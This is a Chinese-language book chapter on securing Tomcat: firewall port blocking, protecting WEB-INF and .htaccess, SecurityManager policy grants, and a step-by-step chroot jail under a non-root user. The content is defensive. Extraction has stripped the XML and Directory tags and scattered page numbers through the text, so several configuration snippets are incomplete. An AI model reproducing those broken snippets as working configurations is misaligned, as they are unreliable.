Tomcat的安全防护


141 第六章 Tomcat 的安全防护 130 简介 不管你是杂货店的老板还是以Tomcat运行个人网站的人士,都会万分关注安全防护。当 连上巨大而“邪恶”的互联网时,事先采取安全防护措施是很重要的。坏人可以用很多 种方法破坏你的系统。更严重的是,他们还可以将你的系统作为攻击其他网站的跳板。 在本章中,我们会详细说明什么是安全防护,以及如何在 Tomcat 中强化安全防护的能 力。不过,为避免误导读者,这里必须澄清的是,世界上并没有完全安全的计算机,除 非将其关机、锁在保险箱内、由携带乌兹冲锋枪的警卫看守,并配备最终的自我毁灭装 置;当然,完全安全的计算机也是完全无法使用的。你所需要的是“足够安全”的计算 机系统。 安全防护的主要部分是加密。在 20 世纪90 年代末期,电子商务和网上交易已成为 Web 的杀手级应用程序之一。如 eBay.com与 Dell 计算机等网站可以在互联网上处理几亿元 的零售及企业交易。当然,这些网站系由程序所驱动,而且通常这些程序是在如 Tomcat 的 container 中执行的 servlet 与 JSP。所以,Tomcat 服务器的安全防护已成为首先要做 的事情。 本章会简略地介绍运行 Tomcat 的服务器端机器的基本安全防护观念,然后再讨论 Tomcat中的安全防护。我们会说明操作系统(执行何种操作系统会有分别) 及程序语言 的问题。接着,会描述 Apache httpd 与 Tomcat 之间相冲突的安全防护原则。然后,再 描述 Tomcat 中内建的 SecurityManager 的运作方式,以及如何在 Tomcat 中设定及使 用安全防护原则。接下来,我们会详细说明 Tomcat 在操作系统级的 chroot 安全防护机 制。然后讨论如何过滤恶意的用户输入,介绍可用来过滤有害的程序代码的 Tomcat 门 第六章142 131 阀(Valve)。最后,我们会说明如何配置独立的 Tomcat Web 服务器来使用 SSL,以便 作为安全(HTTPS)的 Web 服务器。 系统安全防护 有句老话“说链条最强的地方就在其最弱的一环”。这同样适用于安全防护。如果你的 系统有许多可侵入的地方,则说明它是不安全的。如若真是这样,你就需要考虑更换一 个适合的操作系统(如OpenBSD,六年之中,其默认的安装版中只有一个已知的远程安 全漏洞)并正确地配置它。 一般的规律是,对于给定的操作系统,若有愈多的人使用及研究其源代码,则可以找到 并修补愈多的安全漏洞。这有好也有坏。对于随时掌握已知安全漏洞的信息并花时间以 相关的修补程序升级其操作系统的人士当然有好处;反之,对从来不修补漏洞的人们则 是件坏事。对后者而言,恶意的用户会想办法来利用这些漏洞。不管所选择的是何种操 作系统,你都必须留意及修补操作系统的安全漏洞。 操作系统安全防护论坛 以下是一些不错的资源,发布了关于如何修补已知的操作系统安全弱点的相关信息: http://www.securityfocus.com SecurityFocus 有可搜寻的数据库,包括许多不同操作系统及版本的详细信息。它 也有 BugTraq 邮件列表的精华区,其中有许多安全漏洞都是第一次发布的。 http://www.sans.org/topten.htm(http://www.sans.org/top20/top10.php)(译注 1) SANS的前十名排行榜网页收录了关于在各种不同操作系统中常见的漏洞,以及如 何修补这些弱点的信息。 检查这些及其他类似的网页,可以让你有机会在恶意的用户利用安全漏洞前先进行修补。 配置你的网络 阻断私有或内部网络连接端口,避免让公开的互联网访问是很重要的。你应该使用系统 的防火墙安全防护机制,来限制访问Tomcat的控制与连接器端口。控制端口一般为8005 (通过检查$CATALINA_HOME/conf/server.xml文档可以确认);如果任何人能连接此端 口,他们就可以从远程停止你的服务器!请注意,虽然在端口80上激活Tomcat需要root 译注 1:从2001 年 10 月 1 日起,原先的前十名排行榜网页已经更新并扩充为前二十名排行榜网 页了。不过,你还是可以下载前十名的安全漏洞信息( PDF 格式)。 143Tomcat 的安全防护 132 或系统管理员的权限,但停止服务器却不需要 —— 你只要能连上控制端口,并将正确 的停止消息消息传给执行中的服务器即可。同时,公开的互联网(以及除了执行 Apache httpd 前端 Web 服务器以外的任何机器)也不应该能访问各种连接器端口。因此,你可 能要在防火墙配置中加入下列的设置;当然,细节部分会随操作系统而不同: # Tomcat 的控制与连接消息消息不应该 # 从外部进来! block in on $ext_if proto tcp from any port 8005 to any block in on $ext_if proto tcp from any port 8009 to any allow in on $ext_if proto tcp from aws_machine port 8009 to this_machine 此外,检查 server.xml文档找出用于Tomcat的所有端口的列表,并据此更新防火墙的规 则。当配置防火墙以阻断这些端口后,你应该通过从其他计算机连接各个端口来测试配 置,以确定是这些端口确实被阻断了。 当在进行此操作时,最好从公开的互联网来阻断其他的网络连接端口。在 Unix 的环境 中,你可以通过运行netstat -a来查看网络服务器socket及其他现有连接的清单。你 也不妨留意哪些服务器 socket 是开启,并在接受连接中 —— 如果不经常监测,则经常 会弄不清楚是在运行一个还是多个网络服务器。 多重服务器的安全防护模式 当在同一台主机(或同一网络文件系统)上的 Apache httpd Web 服务器与 Tomcat 之间 共享网页的实际目录时,请留意其个别安全防护模式间的相互作用。当你有“受保护的 目录”时,这会特别重要。如果使用在第五章说明的简单的共享模式,如使用个别端口 号的负载分享,或从 Apache 切换至Tomcat的代理机制,则服务器将具有能读取彼此文 件的权限。在这些状况下,请注意 Tomcat 并不会保护如 .htaccess 的文件,而 Apache httpd或微软的IIS(Internet Information Server,Internet 信息服务器)也不会保护 Web 应用程序的 WEB-INF 或 META-INF 目录。这些情形都有可能导致重大的安全漏洞,所 以,我们建议你在使用这些特别的目录时,要格外小心。你应该改用第五章后面章节所 述的连接器模块。这种解决方案比较复杂,但是却能保护 WEB-INF 及 META-INF 的内 容,从而避免被本地 Web 服务器读取。 若要让 Apache httpd 保护 WEB-INF 及 META-INF 目录,请在 httpd.conf 中加入下列的 内容: AllowOverride None deny from all 第六章144 133 AllowOverride None deny from all 你也可以把Tomcat配置为将所有对.htaccess的请求都送至错误网页,不过这比较麻烦。 在 Tomcat 4 的一般安装中,请将下列的 servlet-mapping 加到在 $CATALINA_HOME/ conf/Web.xml 文件的 servlet-mapping 项目后面: invoker *.htaccess 这会将所有Web应用程序中对.htaccess的请求映射到invoker servlet,由于无法加载名 为 invoker 的 servlet 类,因此会产生“HTTP 404: Not Found”的错误网页。从技术层 面讲,这种形式并不好, 因为如果Tomcat可以找到并加载所请求名称的类( .htaccess), 它便可能执行该类而非输出消息错误消息。不过,因为类名不能以句点开头,所以这还 是一种相当安全的解决办法。 此外,如果没有使用 invoker servlet,则应禁用它;一旦将其禁用,就无法对应特定名 称的请求。将 Tomcat 配置为不服务 .htaccess 文件的方法是编写、编译,以及配置设定 产生自定义错误的servlet,以便提供这些被禁止的请求的对应目录。不过,这些内容已 属于编程的课题,详情请参考由 Jason Hunter 所著的《Java Servlet Programming》 (O'Reilly)。 使用 -security 选项 Java 2运行时环境的一项优异的功能是允许应用程序开发人员配置缜密的安全防护原则, 经由 SecurityManager 来限制 Java 程序代码。这可以让你接受或拒绝程序停止 JVM、 访问本地硬盘文件或连接至任意的网络位置。例如, applet早就依赖特定的安全防护管 理器来保护用户的硬盘与浏览器。想像一下,如果来自你所造访网站的 applet执行“退 出”的操作,而造成你的浏览器结束执行!类似地,如果 servlet 或 JSP 这样做,则连 Tomcat 也会一起停止。谁都当然不希望这样,所以需要设置安全防护管理器。 在 Tomcat中,安全防护的配置文件为 catalina.policy,它是以标准的Java安全防护原则 文件格式编写的。当以 -security 选项运行 Tomcat 时,JVM会读取此文件。该文件包 含一系列权限,而每个权限赋予特殊的链接库( codebase)或 Java类组。文件的一般格 式如下: // 注释注释 ... grant codebase LIST { 145Tomcat 的安全防护 permission PERM; permission PERM; ... } 可用的权限名称列在了表 6-1中。你可以将 JAVA_HOME及 CATALINA_HOME 的值输入到 如 ${java.home}及${catalina.home}链接库的URL部分中。例如,在分布式文件中, 第一个赋予的权限为: // 这些权限应用于 javac grant codeBase "file:${java.home}/lib/-" { permission java.security.AllPermission; }; 注意,“-”而非“ *”是用来表示“从 ${java.home}/lib加载的所有类”。如注释释所示, 此权限系应用于Java编译器 javac,其类则由JSP编译器从${java.home}的 lib目录加 载。这可以让你任意放置 JVM,而不会影响该组权限。 对于简单的应用程序,不需要修改 catalina.policy 文件。此文件提供了安全防护的基本 起点。在 Context 中运行的程序代码可以读取(但不能写入)其根目录中的文件。不 过,如果运行有多个组织提供的servlet,则最好列出各个不同的链接库及所允许的权限。 假设你是提供servlet访问的 ISP,而客户想要执行连接到自己机器的 servlet。如果客户 的 servlet定义在根目录为/home/somecompany/Webapps/的 Context中,则可以使用类 似下列的设定: grant codeBase "file:/home/somecompany/Webapps/-" { permission java.net.SocketPermission "dbhost.somecompany.com:5432", "connect"; } 表 6-1 列出了权限的名称。 表 6-1:策略的权限名称 权限名称(以 java 开头的均 是由 Sun 公司定义的) 意义 java.io.FilePermission 控制文件与目录的读取 / 写入 / 执行 java.lang.RuntimePermission 允许访问 System/Runtime 函数,如 exit()及 exec()。请小心使用! java.lang.reflect. 允许类查找其他类的方法 / 字段,以及实例化其他 ReflectPermission 类,等等 java.net.NetPermission 控制多播网络连接的使用(很少用) 134 第六章146 表 6-1:策略的权限名称(续) 权限名称(以 java 开头的均 是由 Sun 公司定义的) 意义 java.net.SocketPermission 允许访问网络 socket java.security.AllPermission 赋予所有的权限,请小心使用! java.security.SecurityPermission 控制访问 Security 的方法,请小心使用! java.util.PropertyPermission 配置访问Java属性,如 java.home。请小心使用! org.apache.naming.JndiPermission 允许读取列于 JNDI 中的文件 赋予文件权限 许多 Web 应用程序会利用文件系统来储存与加载资料。如果在启用SecurityManager 的条件下运行 Tomcat,它不会让你的 Web 应用程序读取及写入应用程序自己的数据文 件。若要让这些Web 应用程序能在 SecurityManager下运作,则必须赋予 Web应用程 序适当的权限。 示例 6-1 所显示的是一个简单的 HttpServlet,它会在文件系统上创建一个文本文件, 并输出文件成功写入的消息。 示例 6-1:以 servlet 编写文件 package com.oreilly.tomcat.servlets; import java.io.*; import javax.servlet.*; public class WriteFileServlet extends GenericServlet { public void service(ServletRequest request, ServletResponse response) throws IOException, ServletException { // 尝试开启文件并写入资料 String catalinaHome = "/usr/local/jakarta-tomcat-4.1.24"; File testFile = new File(catalinaHome + "/Webapps/ROOT", "test.txt"); FileOutputStream fileOutputStream = new FileOutputStream(testFile); fileOutputStream.write(new String("testing...").getBytes()); fileOutputStream.close(); // 如果执行到此,表示文件已成功地创建了 PrintWriter out = response.getWriter(); out.println("File created successfully!"); } } 135 147Tomcat 的安全防护 为了便于编译、安装及测试,我们为 ROOT Web 应用程序编写下面这个 servlet : # mkdir $CATALINA_HOME/Webapps/ROOT/WEB-INF/classes # javac -classpath $CATALINA_HOME/common/lib/servlet.jar -d $CATALINA_HOME/Webapps/ROOT/WEB-INF/classes WriteFileServlet.java 然后,在 ROOT Web 应用程序的 WEB-INF/Web.xml部署描述符中加入 servlet 的 servlet 及 servlet-mapping 元素,如示例 6-2 所示。 示例 6-2:WriteFileServlet 的部署描述符 Welcome to Tomcat Welcome to Tomcat writefile com.oreilly.tomcat.servlets.WriteFileServlet writefile /writefile 现在激活 SecurityManager 并重新启动 Tomcat,访问 URL http://localhost:8080 / writefile。因为默认的 catalina.policy 文件没有赋予 Web 应用程序能够写入文件系统的 必要的权限,所以会看到如图 6-1 所示的 AccessControlException 错误网页。 如欲赋予ROOT应用程序文件访问权限,请在catalina.policy的最后加入下列的内容,并 再次启动 Tomcat : grant codeBase "file:${catalina.home}/Webapps/ROOT/-" { permission java.io.FilePermission "${catalina.home}/Webapps/ROOT/test.txt", "read,write,delete"; }; 136 第六章148 图 6-1:AccessControlException 错误页面 这会赋予ROOT应用程序只读取、写入以及删除其自身 test.txt文件的权限。如果在赋予 这些权限后,再次请求相同的 URL,则会看到如图 6-2 所示的成功消消息。 图 6-2:WriteFileServlet 成功执行画面 Web 应用程序需要访问的文件必须列在 grant 块中,否则就应把这些权限设定给文件 模式,例如用 <>。<> 指令赋予 Web 应用程序对所有文件的 137 149Tomcat 的安全防护 完全访问权限。如果你想加强安全防护功能,则建议不要给 Web 应用程序太多的权限。 为得到最佳的结果,赋予 Web应用程序完成任务所必需的权限即可。例如,拥有下列权 限,WriteFileServlet 就能顺利地执行了: grant codeBase "file:${catalina.home}/Webapps/ROOT/WEB-INF/classes/com/ oreilly/tomcat/servlets/WriteFileServlet.class" { permission java.io.FilePermission "${catalina.home}/Webapps/ROOT/test.txt", "write"; }; 以这种权限设定,只有 WriteFileServle 有权写入 test.txt 文件;而 Web 应用程序中的 其他 servlet不能写入。此外, WriteFileServlet 不再具有删除文件的权限了 —— 这是 非必要的权限。 注意:参阅站点:http://java.sun.com/j2se/1.4.1/docs/guide/security/permissions.html 上的 Sun Java 文档,可以看到针对每种你可以斌予的权限的论述。 SecurityManager 的疑难排解 如果catalina.policy文件未能按预期的方式运作该怎么办呢?安全防护问题调试的 方法之一是在激活 Tomcat 时用以下的参数调用 Java: -Djava.security.debug="access,failure" 然后,检查日志文件中有没有含有“ denied”的安全防护调试内容;任何安全防护 的失效都会留下堆栈记录( stack trace),以及指向失效的 ProtectionDomain 的 指针。 架设 Tomcat chroot 监牢 Unix(以及类Unix)操作系统提供了一种功能,让用户在重新映射的根文件系统中执行 进程。chroot(更改根目录)命令会将根( /)文件系统的重新映射转换成相对于当前根 目录的指定目录,然后在新的根目录下执行指定的命令。 Linux、Solaris 以及 *BSD 操 作系统都支持类似下面的 chroot 命令: chroot 例如,下列命令会改变 / 成指向/some/new/root目录,然后以 hello参数执行 /bin/echo 命令: chroot /some/new/root /bin/echo hello 138 第六章150 当文件系统的根目录重新映射后,此进程会找到 /bin/echo,以及相对于新的根路径的其 他文件与目录。这表示chroot实际上执行的是/some/new/root/bin/echo,而非/bin/echo。 同时,此进程还会在/some/new/root下寻找当执行/bin/echo时所需加载的任何共享函数 库。此原则也适用于设备文件 —— 如果在已更换根目录的环境下所执行的程序会用到 设备,它会寻找相对于新的根目录的 /dev,而非“真正的”/dev。简言之,所有的文件 路径都相对于新的根目录,这表示在文件系统上,进程所用的任何资源都必须复制在新 的根目录中,以便让已更换根目录的进程找到。此外,已更换根目录的进程,及其子进 程都无法访问不在文件系统新的根目录树中的资源。因此,我们称已更换根目录的进程 是在 chroot 的监牢( jail)中执行。这对一些事情会有帮助,包括当服务器进程遭受恶 意用户的攻击时,任何在chroot监牢中执行的程序代码都将无法访问监牢外的机密文 件。使用 chroot监牢,系统管理员可以执行网络常驻程序来保护机密资料,以免遭到 窃取,而且是在操作系统的核心层级下保护这些资料。 警告: 正如在真实生活中一样,没有监牢是不可攻破的。使用网络常驻程序中任何已知的弱点, 恶意的用户可以上载并执行刻意编制的程序代码,促使系统核心允许他们冲破chroot,因 而能够追踪其他不属于已更换根目录环境的进程,或者以你不会喜欢的方式来利用可用的 设备。在 chroot监牢中执行不安全的常驻程序可挡住大多数利用该常驻程序来侵入服务 器计算机的举动。不过,你不能企望 chroot能让服务器完全安全!务必遵守本章所提的 其他步骤。 Tomcat 内建的SecurityManager 功能可以大幅提升安全防护的能力,不过却不容易彻 底地测试。即使 SecurityManager 正确地运作,Tomcat 还是有可能会有一个以上鲜为 人知的安全漏洞,可以让攻击者访问机密的文件与目录。如果设定 Tomcat 在 chroot监 牢中执行,则大多数此种方式的攻击行为都无法窃取机密的文件,因为操作系统的核心 会不让Java执行环境(或任何其他在chroot监牢的程序)访问它们。让Tomcat在chroot 监牢中执行,再加上使用 Tomcat 的 SecurityManager,可以构成非常强大的服务器端 安全防护网,不过即便只使用 chroot 也总比什么都不做要安全许多。 架设 chroot 监牢 为了要设定 Tomcat 在 chroot 监牢中执行,你必须: ¥ 在执行 Tomcat的机器上拥有root的权限。操作系统内核不允许非 root的用户使用 chroot()系统调用。 ¥ 使用一般的 Tomcat 二进制发行版(或自 己编译一份) 。RPM 或其他Tomcat 的本地 包已经选定安装Tomcat的文件系统位置,而且所安装的init script只会使用该路径。 139 151Tomcat 的安全防护 设定chroot监牢的方式不只一种,而以下是我们所建议的。除非另外指明,否则请以 root 的身份执行所有的步骤: 1. 在文件系统中选择欲建立新的根目录的位置。这可以是文件系统上相对于目前根目 录的任何位置。请在该处建立目录,并依你的喜好命名: # mkdir /usr/local/chroot 2. 在 chroot目录中,建立 Tomcat(以及所有它会执行的对象)会使用的一般 Unix文 件系统目录。请确定至少要包括 /lib、/etc、/tmp 与 /dev,并将其所有权、组与权 限设成与真正的根目录架构一样。你可能也需要在其他路径中建立 /usr/lib或其他 的 lib目录,不过除非知道会用到它们,否则还不要建立。请设定类似下列的权限: # cd /usr/local/chroot # mkdir lib etc tmp dev usr # chmod 755 etc dev usr # chmod 1777 tmp 3. 将 /etc/hosts复制到 chroot的 /etc目录中。之后,你可以编辑此复制文件,来移 除任何不需要的内容: # cp -p /etc/hosts etc/hosts 4. 将 JDK 或 Java运行时环境( Java Runtime Environment;JRE)1.4 版(或更新版) 安装在chroot树中,最好是在你会安装在真正的根目录文件系统中的路径中。JDK 1.3.x 或更旧的版本则无法顺利地运作,因为 java命令(以及在$JAVA_HOME/bin 中大多数的其他命令)是 shell 脚本的包装函数,用来代表 Java运行时的二进制文 件。如欲执行这类脚本,你需要在 chroot 监牢中安装 /bin/sh shell,而这样做会 让恶意的用户较易冲破chroot。1.4版的命令就不是shell 脚本,因此执行时不需 要在 chroot 监牢中使用 shell。 注意:笔者强烈建议不要在 chroot监牢中安装shell 或 perl 解释程序,因为这两者都可用来冲破 chroot。 5. 将Tomcat的二进制发行版安装到chroot树中。你可以将它放在树中的任何地方, 但是,最好还是放在非 chroot 环境中的安装位置: # mkdir -p usr/local # chmod 755 usr/local # cd usr/local # cp ~jasonb/jakarta-tomcat-4.1.24.tar.gz . # gunzip jakarta-tomcat-4.1.24.tar.gz # tar xvf jakarta-tomcat-4.1.24.tar.gz 6. 使用ldd命令来找出Java执行文件所需使用的共享函数库,并将它们复制到chroot 140 第六章152 的 /lib及(或)其他的 lib 目录。之后,试着执行 Java 执行文件,来测试确实找到 而且正常地加载所有的函数库: # ldd /usr/local/chroot/usr/local/j2sdk1.4.0_01/bin/java libpthread.so.0 => /lib/libpthread.so.0 (0x40030000) libdl.so.2 => /lib/libdl.so.2 (0x40047000) libc.so.6 => /lib/libc.so.6 (0x4004b000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) # cd /usr/local/chroot/lib # cp -p /lib/libpthread.so.0 . # cp -p /lib/libdl.so.2 . # cp -p /lib/libc.so.6 . # cp -p /lib/ld-linux.so.2 . # cd /usr/local/chroot # chroot /usr/local/chroot /usr/local/j2sdk1.4.0_01/bin/java -version java version "1.4.0_01" Java(TM) 2 Runtime Environment, Standard Edition (build 1.4.0_01-b03) Java HotSpot(TM) Client VM (build 1.4.0_01-b03, mixed mode) 7. 建立并安装可激活及停止已更换根目录的 Tomcat 的 init脚本。不过,这会有一点 麻烦 —— init脚本为shell脚本,但是却在 chroot之外执行。在发生 chroot之前, 它会在一般的根目录中执行,所以就算是 shell 脚本也没什么关系。 8. 此 init 脚本会更换根目录并执行 Tomcat,但不会调用 Tomcat 的 startup.sh、 shutdown.sh 或 catalina.sh脚本,因为一旦发生了 chroot,就没有 shell来解释它 们了!相对地,script必须直接调用java执行档,并传入所有需要用来执行Tomcat 的参数。执行 Tomcat的参数系由 fs脚本产生,而从该脚本可以轻易地声明这些参 数。 在撰写本书时,决定所需之参数的最佳方法是稍微修改 catalina.sh script,以将参数写 入文件,并如同执行 Tomcat 一样执行此脚本。 1. 首先,复制一份 catalina.sh script: # cd /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/bin # cp -p catalina.sh catalina-echo.sh 2. 接着,编辑此文件。在脚本中找到一般运行 Tomcat 时执行java 的那行内容 —— 请注意,在脚本中可能有很多地方都执行 java。在执行 java那行内容的前面加 入 /bin/echo,如下所示: elif [ "$1" = "start" ] ; then shift touch "$CATALINA_BASE"/logs/catalina.out if [ "$1" = "-security" ] ; then echo "Using Security Manager" shift /bin/echo "$_RUNJAVA" $JAVA_OPTS $CATALINA_OPTS \ 141 153Tomcat 的安全防护 此示例修改的是,当执行脚本并以 SecurityManager 激活 Tomcat 时(例如, catalina.sh start -security),在脚本中执行 java 的那行。如果没有使用 SeurityManager,则请修改执行java但不使用SecurityManager的那行。 3. 然后,正如在没有 chroot 的环境下试图激活 Tomcat 一样执行此脚本: # JAVA_HOME=/usr/local/chroot/usr/local/j2sdk1.4.0_01 # export JAVA_HOME # CATALINA_HOME=/usr/local/chroot/usr/local/jakarta-tomcat-4.1.24 # export CATALINA_HOME # cd /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/bin # ./catalina-echo.sh start -security 注意:如果你修改的是不使用SecurityManager来执行Tomcat的那行,则省略-security参数。 现在,执行 Tomcat 的完整命令应已存入 catalina.out 的日志文件中了: # cat /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/logs/catalina.out /usr/local/chroot/usr/local/j2sdk1.4.0_01/bin/java -Djava.endorsed.dirs =/usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/bin:/usr/local/chroot/ usr/local/jakarta-tomcat-4.1.24/common/endorsed -classpath /usr/local/ chroot/usr/local/j2sdk1.4.0_01/lib/tools.jar:/usr/local/chroot/usr/local/ jakarta-tomcat-4.1.24/bin/bootstrap.jar -Djava.security.manager -Djava.security.policy==/usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/ conf/catalina.policy -Dcatalina.base=/usr/local/chroot/usr/local/ jakarta-tomcat-4.1.24 -Dcatalina.home=/usr/local/chroot/usr/local/ jakarta-tomcat-4.1.24 -Djava.io.tmpdir=/usr/local/chroot/usr/local/ jakarta-tomcat-4.1.24/temp org.apache.catalina.startup.Bootstrap start 4. 将相关的内容复制到名为tomcat4的新init脚本文件中,其内容则如示例 6-3所示。 示例 6-3:Tomcat 的 chroot 激活脚本 #!/bin/sh # Linux 系统的 Tomcat init script # # chkconfig: 345 63 37 # 说明:在 Linux 上自动激活/停止 Tomcat # 看看是如何调用的 case "$1" in start) /usr/sbin/chroot /usr/local/chroot \ /usr/local/j2sdk1.4.0_01/bin/java -Djava.endorsed.dirs=/usr/local/ jakarta-tomcat-4.1.24/bin:/usr/local/jakarta-tomcat-4.1.24/common/ endorsed -classpath /usr/local/j2sdk1.4.0_01/lib/tools.jar:/usr/local/ jakarta-tomcat-4.1.24/bin/bootstrap.jar -Djava.security.manager -Djava.security.policy==/usr/local/jakarta-tomcat-4.1.24/conf/ catalina.policy -Dcatalina.base=/usr/local/jakarta-tomcat-4.1.24 -Dcatalina.home=/usr/local/jakarta-tomcat-4.1.24 -Djava.io.tmpdir=/usr/ local/jakarta-tomcat-4.1.24/temp org.apache.catalina.startup.Bootstrap start \ >> /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/logs/ 142 第六章154 catalina.out 2>&1 & ;; stop) /usr/sbin/chroot /usr/local/chroot \ /usr/local/j2sdk1.4.0_01/bin/java -Djava.endorsed.dirs=/usr/local /jakarta-tomcat-4.1.24/bin:/usr/local/ jakarta-tomcat-4.1.24/common/endorsed -classpath /usr/local/j2sdk1.4.0_01/ lib/tools.jar:/usr/local/jakarta-tomcat-4.1.24/bin/bootstrap.jar -Djava.security.manager -Djava.security.policy==/usr/local/ jakarta-tomcat-4.1.24/conf/catalina.policy -Dcatalina.base=/usr/local /jakarta-tomcat-4.1.24 -Dcatalina.home=/usr/local/jakarta-tomcat-4.1.24 -Djava.io.tmpdir=/usr/local/jakarta-tomcat-4.1.24/ temp org.apache.catalina.startup.Bootstrap stop \ >> /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/logs/ catalina.out 2>&1 & ;; *) echo "Usage: tomcat4 {start|stop}" exit 1 esac 请注意,在指向 Java 解释程序的路径及传给Java 解释程序的参数中,必须移除所 有的/usr/local/chroot。stop命令与start命令基本相同,只是最后一个参数是stop 而非 start。 5. 将此脚本放入 Linux 系统的 /etc/rc.d/init.d 或 Solaris 的 /etc/init.d 中,并设成可执 行: # cp tomcat4 /etc/rc.d/init.d/ # chmod 755 /etc/rc.d/init.d/tomcat4 6. 现在就可以尝试在 chroot 监牢中激活 Tomcat 了: # /etc/rc.d/init.d/tomcat4 start 在这个阶段,Tomcat会在chroot监牢中正常地激活或输出错误表明找不到需要的共享 函数库。如果是后者,则请查阅 catalina.out的日志文件,以检查发生的错误。例如,你 可能会得到指出缺少函数库的错误消息,如下所示: Error: failed /usr/local/j2sdk1.4.0_01/jre/lib/i386/client/libjvm.so, because libnsl.so.1: cannot open shared object file: No such file or directory 将所指明的函数库复制到 chroot 的 lib/ 目录中,并试着再次激活 Tomcat: # cp -p /lib/libnsl.so.1 /usr/local/chroot/lib/ # /etc/rc.d/init.d/tomcat4 start 找到所缺少的各个函数库后,将其全部复制到chroot树中。当所需的函数库都存在时, Tomcat 就能执行了。 143 155Tomcat 的安全防护 注意:可以随时通过 ldd 命令找出在执行二进制文件时所需使用的函数库。 至此,Tomcat 已能在chroot 监牢中以 root的身份执行了。恭喜!不过,Tomcat 仍然 是以 root的身份执行 —— 尽管已经更换根目录,但我们不建议这样做。以非 root 的 用户执行已更换根目录的 Tomcat 会更安全一些。 在 chroot 监牢中使用非 root 的用户 在 BSD 操作系统(包括 FreeBSD、NetBSD以及 OpenBSD)上,chroot 命令支持命令 行的开关选项,使你能够在更换根目录的文件路径对应关系前,切换用户及组。从而以 非 root 的用户身份来执行已更换根目录的进程。以下是摘录自 *BSD chroot命令的语 法: chroot [-u user] [-U user] [-g group] [-G group,group,...] newroot [command] 因此,如果你用的是BSD操作系统,则可以在chroot上加入适当的开关参数,从而使 Tomcat 以不同的用户 / 组身份执行。不幸地,Linux 及 Solaris 的 chroot 命令都不支持 用户或组的切换功能。为了解决这个问题,我们将OpenBSD的chroot命令移植到Linux 及 Solaris 上(这正是开源软件的精神,不是吗?),并将其更名为 jbchroot,以区别 于默认的 chroot 命令。 注意:附录三中收录了 jbchroot 命令的源程序代码。 以下是使用 jbchroot 的步骤: 1. 将文件复制到可以编译的位置。 2. 用 GCC来编译(如果没有安装GCC,则应该安装符合你的操作系统的二进制发行 包): # gcc -O jbchroot.c -o jbchroot 3. 将新的 jbchroot命令安装到用户执行文件的目录中,如Unix 上的 /usr/local/bin。 请确定其权限与系统原始的 chroot 命令一样: # cp jbchroot /usr/local/bin/ # ls -la `which chroot` -rwxr-xr-x 1 root root 5920 Jan 16 2001 /usr/sbin/chroot # chmod 755 /usr/local/bin/jbchroot # chown root /usr/local/bin/jbchroot # chgrp root /usr/local/bin/jbchroot 144 第六章156 4. 选择用户作为执行Tomcat的身份的非root用户和/或组。它可以是系统上的任何 用户,不过我们建议建立新的用户账号和 / 或组,并只用在这类 Tomcat 上。如果 建立了新的用户账号,则将其 login shell 登录设为 /dev/null,并锁住用户密码。 5. 如果 Tomcat 已在执行中,则停止它: # /etc/rc.d/init.d/tomcat4 stop 6. 将 tomcat4 init脚本修改为使用指向jbchroot而非chroot的绝对路径,并传入 一个或多个开关参数来更改用户和 / 或组: #!/bin/sh # Linux 系统的 Tomcat init 脚本 # # chkconfig: 345 63 37 # 说明:在 Linux 上自动激活/停止 Tomcat # 看看是如何调用的 case "$1" in start) /usr/local/chroot/jbchroot -U tomcat -- /usr/local/chroot \ /usr/local/j2sdk1.4.0_01/bin/java -Djava.endorsed.dirs=/usr/local /jakarta-tomcat-4.1.24/bin:/usr/local/jakarta-tomcat-4.1.24/common/ endorsed -classpath /usr/local/j2sdk1.4.0_01/lib/tools.jar:/usr/local/ jakarta-tomcat-4.1.24/bin/bootstrap.jar -Djava.security.manager -Djava.security.policy==/usr/local/jakarta-tomcat-4.1.24/conf/ catalina.policy -Dcatalina.base=/usr/local/jakarta-tomcat-4.1.24 -Dcatalina.home=/usr/local/jakarta-tomcat-4.1.24 -Djava.io.tmpdir=/usr/local/ jakarta-tomcat-4.1.24/temp org.apache.catalina.startup.Bootstrap start \ >> /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/logs/catalina.out 2>&1 & ;; stop) /usr/local/chroot/jbchroot -U tomcat -- /usr/local/chroot \ /usr/local/j2sdk1.4.0_01/bin/java -Djava.endorsed.dirs=/usr/local/ jakarta-tomcat-4.1.24/bin:/usr/local/jakarta-tomcat-4.1.24/common/endorsed -classpath /usr/local/j2sdk1.4.0_01/lib/tools.jar:/usr/local/jakarta-tomcat -4.1.24/bin/bootstrap.jar -Djava.security.manager -Djava.security.policy==/ usr/local/jakarta-tomcat-4.1.24/conf/catalina.policy -Dcatalina.base=/usr/ local/jakarta-tomcat-4.1.24 -Dcatalina.home=/usr/local/jakarta-tomcat -4.1.24 -Djava.io.tmpdir=/usr/local/jakarta-tomcat-4.1.24/ temp org.apache.catalina.startup.Bootstrap stop \ >> /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24/logs/catalina.out 2>&1 & ;; *) echo "Usage: tomcat4 {start|stop}" exit 1 esac 7. 修改 Tomcat目录树的权限,让非 root的用户有足够的权限来执行Tomcat。此处 的重点是为了保持严谨的安全防护功能,只给予必要的权限。你需要测试你所使用 的 Tomcat 的版本,以判断哪些需要而哪些不需要具有读取及写入的权限。一般情 形下,Tomcat 的用户需要能够读取 Tomcat 中的所有资料。但是对于 /logs、tmp/、 145 157Tomcat 的安全防护 work/ 以及Webapp/目录,则求有向 Conf/ 写入的权限。如果已经将 Tomcat配置为 使用 UserDatabaseRealm来编写 conf/tomcat-users.xml(这是默认的设置),或用 Admin Web 应用程序来编写conf/server.xml,则可能需要对 conf/中的一些文件具 有写入的权限: # cd /usr/local/chroot/usr/local/jakarta-tomcat-4.1.24 # chmod 755 . # chown -R tomcat logs/ temp/ Webapps/ work/ conf/ 8. 确保不要将 Tomcat 设定在基本的端口上执行—如果以非 root 的用户身份执行, 则会失去在端口80上执行的权限。请检查 $CATALINA_HOME/conf /server.xml以 确保 Tomcat 只会开启大于 1023 的服务器端口。 9. 激活 Tomcat: # /etc/rc.d/init.d/tomcat4 start 10. 检查日志文件,看看有无例外的堆栈记录。其中出现的记录往往会指出文件所有 权 / 权限所出现的问题。仔细检查 Tomcat 的安装目录树,并注意检查目录和文件 